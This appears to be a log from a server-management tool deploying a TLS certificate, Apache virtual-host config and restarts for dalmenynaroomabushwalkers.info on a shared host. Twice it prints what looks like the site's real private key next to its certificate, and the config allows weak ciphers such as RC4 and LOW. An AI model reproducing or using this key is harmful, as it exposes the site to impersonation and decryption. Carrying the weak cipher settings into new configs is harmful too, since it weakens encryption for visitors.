E3/rQ76zuFLT/7nrpkyHLuEu64JIcaRSpOUa1NOnQxUQoGgYJ92Li/FqApMPzJN9
5ofXDOH02svbwFqYQTnFthwhRnGe3et2lHMasBTyrhyugZK5xUB3x6qo59CIL3TF
4dJDn+EobCB1L7U4QkUGM4lhiqjKd+S2iMRx8gtZuVBkBvnvilUCJNCZaQEJuEEW
V5eUhDVnMs9Esm3ty56x0OnZ0Vh5T5HjgCDoGZnPA/Rw6A==
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCmiYTaLah48Bl2
E9f6M5bJQFUlQUybc/K7gRz2QAJ4CSh+ZOLy4dzBrKMERqQ0VSFMOFA42wnngbKP
qNrr8yfGHQ+TbpbTqMS4CHmtM0LLystL3ob5KSBs20nsKMb3rYAOa3u8HnmK4U+V
0q1w7R80RDu1A5xzVGMRZZyoNPYOdrQraFJpfzJno+Syl+9ar9ij+YEV40vtHDQj
CNj4ipaOVdZjIXAMJg9hgdNSvX+drX680Yy1IjVuFphCWhJNIPJ0kq1+LEfUqYF3
eIBEG+AlH8HfrztpV8mP0ULgE1rESFwLZqle9oh+BME8zBQgoOv1TpCzI89DwBYw
lYl8ppzHAgMBAAECggEBAJNIe94ZEy4h6eKrmg8FIQ3Lf4H7Ri0VVk7N2TdPVN+j
+dQOlUgIyJvgeiuF7iL6RwCJrSkbTp8X7TtwMm0KFtr3SJcy7uEyGQhJNpMfCqwB
JdprayNgY/Th23aoeY8COoaGOGAe848HxMLUF+APVdF7pvJnxy2YLCVuoCWC8TnI
ArfMaOaCvMqR4jneKmEN2ggz8jffN8495CmvX7po//gLcUPBXDlW5yH/5IlQ8asn
lacPUAuFT5QplpUwAJo+lHd5nXg+UQwpmG1EpncaWTXtR3TMl7muV2QBUwxTBCbt
5KYOJvTDwfQUyQx8UWDeFcokZN/vIMwgFMeIbl0Z7sECgYEA4ngUef5zYd6khT+C
7Gkh90Mm18IdarZWwA0cMebyKP8dgJsIOoUo/VDdv53OvyJbB3WGA6v5/e6LpxiQ
hpJEyUa9wtFOCbhj0wWGGLhsm9EjLQrjAvLOaar5Bdzxa7kaCWUein74cbQcnBPE
Tg111FMBVUxh1kFK8QXa5qqFZFMCgYEAvEDPwtngBTIdhwsOES/ZKj86f9zdhSSV
h2pk4/FL2N3KFcI4qDY8JBTrtPgUZ88PU4+jfMMZnB/+FfO7PrnEq0E0HzWz5+sK
DS63xIewLylPGXf0n5zZFcBXPEfU7/QrRKzFXCr197ruMzfGzXjmOxvqBDmMA2tB
qJQS+2p01z0CgYAA0MXiGpR3ycF16WCjUU2aAlfldwF8HOP7FREA7P/6PdDxYZ2J
+GjJYL0rr3nLHmiNglLVOI1R6MX/+AqtMWGmB+cvCGnrhwp0/BQbiq55cStbQirH
G/C6WK9E4iLMbII3fnG5tfNXFXr05O1UCqBd/16F3ByOFPYcIBVFt197mQKBgAWt
DpaZax+8+xbvRmVORAX6EhF431T8XWXP12roA5luVoGBcaPgvr93wgOa10KqA5RJ
aGyClWsXq9mNl7+0ajGfraqjO+FqPMtY9UF/tdg2LqRd8Yo+eG0nd3nh0JHLkuJn
MywsP25QvI3eyKe5VXfCx7OI6KfRvBERJeFevFchAoGABuc0orjfrODGka44NsAy
FOCY4vl7nQPuA3UZ2gineksMJawgBK0rgchDRArCxarRSk996WwgwBctcYufaF2p
lruO1v8yVZ255vJwDvNK4R1ZqhA61qQeUCaTOCYRa9X27OkW5nRUHZRTWZJV2ApU
Bcj8kBb51bLUKz5D/IMOUw8=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-29 10:42:01: 

chmod 755 /tmp/pkp441985; /tmp/pkp441985; rm /tmp/pkp441985

2025-10-29 10:42:01: 


dir=/etc/ssl/certs


2025-10-29 10:42:01: 

PUT: /tmp/pkp506022

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-29 10:42:01: 

chmod 755 /tmp/pkp506022; /tmp/pkp506022; rm /tmp/pkp506022

2025-10-29 10:42:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf 58

<VirtualHost *:80>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_error.log
    SetEnv pkp_uid	47
    SetEnv pkp_owner	dalmeny
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-29 10:42:01: 

PUT: /tmp/pkp598422

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dalmenynaroomabushwalkers_www_info.conf
TARGET=/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_error.log
    SetEnv pkp_uid	47
    SetEnv pkp_owner	dalmeny
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf= 1'
fi


2025-10-29 10:42:01: 

chmod 755 /tmp/pkp598422; /tmp/pkp598422; rm /tmp/pkp598422

2025-10-29 10:42:01: 




2025-10-29 10:42:01: 

PUT: /tmp/pkp982609

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-29 10:42:01: 

chmod 755 /tmp/pkp982609; /tmp/pkp982609; rm /tmp/pkp982609

2025-10-29 10:42:01: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-29 10:42:01: Establishing a connection
2025-10-29 10:42:01: 

PUT: /tmp/pkp281363

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-29 10:42:01: 

chmod 755 /tmp/pkp281363; /tmp/pkp281363; rm /tmp/pkp281363

2025-10-29 10:42:01: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-29 10:42:01: 

PUT: /tmp/pkp487769

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-29 10:42:01: 

chmod 755 /tmp/pkp487769; /tmp/pkp487769; rm /tmp/pkp487769

2025-10-29 10:42:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf	1571

<VirtualHost *:80>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_error.log
    SetEnv pkp_uid	47
    SetEnv pkp_owner	dalmeny
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-29 10:42:01: 

PUT: /tmp/pkp755320

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-29 10:42:01: 

chmod 755 /tmp/pkp755320; /tmp/pkp755320; rm /tmp/pkp755320

2025-10-29 10:42:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt	4135
40:68:fc:a9:24:55:cf:7b:2b:74:ce:15:84:c5:64:ed

-----BEGIN CERTIFICATE-----
MIIGrjCCBRagAwIBAgIQSFfFAzykHHwGw3t0kz/61TANBgkqhkiG9w0BAQsFADBg
MQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTcwNQYDVQQD
Ey5TZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gQ0EgRFYgUjM2
MB4XDTI1MTAyOTAwMDAwMFoXDTI2MTEyOTIzNTk1OVowKTEnMCUGA1UEAxMeZGFs
bWVueW5hcm9vbWFidXNod2Fsa2Vycy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEApomE2i2oePAZdhPX+jOWyUBVJUFMm3Pyu4Ec9kACeAkofmTi
8uHcwayjBEakNFUhTDhQONsJ54Gyj6ja6/Mnxh0Pk26W06jEuAh5rTNCy8rLS96G
+SkgbNtJ7CjG962ADmt7vB55iuFPldKtcO0fNEQ7tQOcc1RjEWWcqDT2Dna0K2hS
aX8yZ6PkspfvWq/Yo/mBFeNL7Rw0IwjY+IqWjlXWYyFwDCYPYYHTUr1/na1+vNGM
tSI1bhaYQloSTSDydJKtfixH1KmBd3iARBvgJR/B3687aVfJj9FC4BNaxEhcC2ap
XvaIfgTBPMwUIKDr9U6QsyPPQ8AWMJWJfKacxwIDAQABo4IDGTCCAxUwHwYDVR0j
BBgwFoAUaMASFhgOr872h6YyV6NGUV3LBycwHQYDVR0OBBYEFAvtveDvI8Tz3J/U
odFnCqAwiA7sMA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMBMGA1UdJQQM
MAoGCCsGAQUFBwMBMEkGA1UdIARCMEAwNAYLKwYBBAGyMQECAgcwJTAjBggrBgEF
BQcCARYXaHR0cHM6Ly9zZWN0aWdvLmNvbS9DUFMwCAYGZ4EMAQIBMIGEBggrBgEF
BQcBAQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2VjdGlnby5jb20vU2Vj
dGlnb1B1YmxpY1NlcnZlckF1dGhlbnRpY2F0aW9uQ0FEVlIzNi5jcnQwIwYIKwYB
BQUHMAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tME0GA1UdEQRGMESCHmRhbG1l
bnluYXJvb21hYnVzaHdhbGtlcnMuaW5mb4Iid3d3LmRhbG1lbnluYXJvb21hYnVz
aHdhbGtlcnMuaW5mbzCCAX0GCisGAQQB1nkCBAIEggFtBIIBaQFnAHYA2AlVO5RP
ev/IFhlvlE+Fq7D4/F6HVSYPFdEucrtFSxQAAAGaLYwy5AAABAMARzBFAiA3QDjY
f7EmBG0MvFgBlJcc+NfjXu/PYVv8/OXKVBCDiwIhALsFiy1+6ce+UKQr300hIBAC
Ru+1lKiY61dFFvUiNZ15AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eF
hzoAAAGaLYwzoQAABAMARjBEAiB8M7BUe+mhJQ0MERf9VhatL/ze4oH43GULdn5+
AfCKzAIgeV4B4yaLtD1wkidq/0BK/tqsoNlZBQ01l3ChBACp+bcAdgCsqzBwbOvs
hDH0E9L0kV8RHkIkQ7HypoxPPCs7px4CwwAAAZotjDLHAAAEAwBHMEUCIQCakjCT
dA4GzoJ7PDfg3Yg4EL11lliGf5snzmJhI9QRoAIganDcOH7LTcu82dWovWYQBHNx
fjK9AqqjhLYVBdv0wlAwDQYJKoZIhvcNAQELBQADggGBAHpKHtpr8oqC9woMLdyX
air5JFI16wFlswVd6Ei9YEZnRWIulWyA38V4ElnT510VUBvf1hA4v8jrmgHmLd3V
kLj+MTjJCOd6OuIt8vIWSaopuv4ozPC06t2QU5rDg7FaDupbpG59Vhuu4Okoudml
KjNKNGoiCR4PJrCZ3WKH6pAtNgDKCXGeicDJlsx/F3Rj1hPChcFiLTiRYYY/LxjE
08N5YfUm5dt36HTAw1IQjRAb/xBhV3zaZMO855xnVezkV6PNHq2EKXDQtElm1o5v
E3/rQ76zuFLT/7nrpkyHLuEu64JIcaRSpOUa1NOnQxUQoGgYJ92Li/FqApMPzJN9
5ofXDOH02svbwFqYQTnFthwhRnGe3et2lHMasBTyrhyugZK5xUB3x6qo59CIL3TF
4dJDn+EobCB1L7U4QkUGM4lhiqjKd+S2iMRx8gtZuVBkBvnvilUCJNCZaQEJuEEW
V5eUhDVnMs9Esm3ty56x0OnZ0Vh5T5HjgCDoGZnPA/Rw6A==
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCmiYTaLah48Bl2
E9f6M5bJQFUlQUybc/K7gRz2QAJ4CSh+ZOLy4dzBrKMERqQ0VSFMOFA42wnngbKP
qNrr8yfGHQ+TbpbTqMS4CHmtM0LLystL3ob5KSBs20nsKMb3rYAOa3u8HnmK4U+V
0q1w7R80RDu1A5xzVGMRZZyoNPYOdrQraFJpfzJno+Syl+9ar9ij+YEV40vtHDQj
CNj4ipaOVdZjIXAMJg9hgdNSvX+drX680Yy1IjVuFphCWhJNIPJ0kq1+LEfUqYF3
eIBEG+AlH8HfrztpV8mP0ULgE1rESFwLZqle9oh+BME8zBQgoOv1TpCzI89DwBYw
lYl8ppzHAgMBAAECggEBAJNIe94ZEy4h6eKrmg8FIQ3Lf4H7Ri0VVk7N2TdPVN+j
+dQOlUgIyJvgeiuF7iL6RwCJrSkbTp8X7TtwMm0KFtr3SJcy7uEyGQhJNpMfCqwB
JdprayNgY/Th23aoeY8COoaGOGAe848HxMLUF+APVdF7pvJnxy2YLCVuoCWC8TnI
ArfMaOaCvMqR4jneKmEN2ggz8jffN8495CmvX7po//gLcUPBXDlW5yH/5IlQ8asn
lacPUAuFT5QplpUwAJo+lHd5nXg+UQwpmG1EpncaWTXtR3TMl7muV2QBUwxTBCbt
5KYOJvTDwfQUyQx8UWDeFcokZN/vIMwgFMeIbl0Z7sECgYEA4ngUef5zYd6khT+C
7Gkh90Mm18IdarZWwA0cMebyKP8dgJsIOoUo/VDdv53OvyJbB3WGA6v5/e6LpxiQ
hpJEyUa9wtFOCbhj0wWGGLhsm9EjLQrjAvLOaar5Bdzxa7kaCWUein74cbQcnBPE
Tg111FMBVUxh1kFK8QXa5qqFZFMCgYEAvEDPwtngBTIdhwsOES/ZKj86f9zdhSSV
h2pk4/FL2N3KFcI4qDY8JBTrtPgUZ88PU4+jfMMZnB/+FfO7PrnEq0E0HzWz5+sK
DS63xIewLylPGXf0n5zZFcBXPEfU7/QrRKzFXCr197ruMzfGzXjmOxvqBDmMA2tB
qJQS+2p01z0CgYAA0MXiGpR3ycF16WCjUU2aAlfldwF8HOP7FREA7P/6PdDxYZ2J
+GjJYL0rr3nLHmiNglLVOI1R6MX/+AqtMWGmB+cvCGnrhwp0/BQbiq55cStbQirH
G/C6WK9E4iLMbII3fnG5tfNXFXr05O1UCqBd/16F3ByOFPYcIBVFt197mQKBgAWt
DpaZax+8+xbvRmVORAX6EhF431T8XWXP12roA5luVoGBcaPgvr93wgOa10KqA5RJ
aGyClWsXq9mNl7+0ajGfraqjO+FqPMtY9UF/tdg2LqRd8Yo+eG0nd3nh0JHLkuJn
MywsP25QvI3eyKe5VXfCx7OI6KfRvBERJeFevFchAoGABuc0orjfrODGka44NsAy
FOCY4vl7nQPuA3UZ2gineksMJawgBK0rgchDRArCxarRSk996WwgwBctcYufaF2p
lruO1v8yVZ255vJwDvNK4R1ZqhA61qQeUCaTOCYRa9X27OkW5nRUHZRTWZJV2ApU
Bcj8kBb51bLUKz5D/IMOUw8=
-----END PRIVATE KEY-----







2025-10-29 16:45:21: Establishing a connection
2025-10-29 16:45:33: Establishing a connection
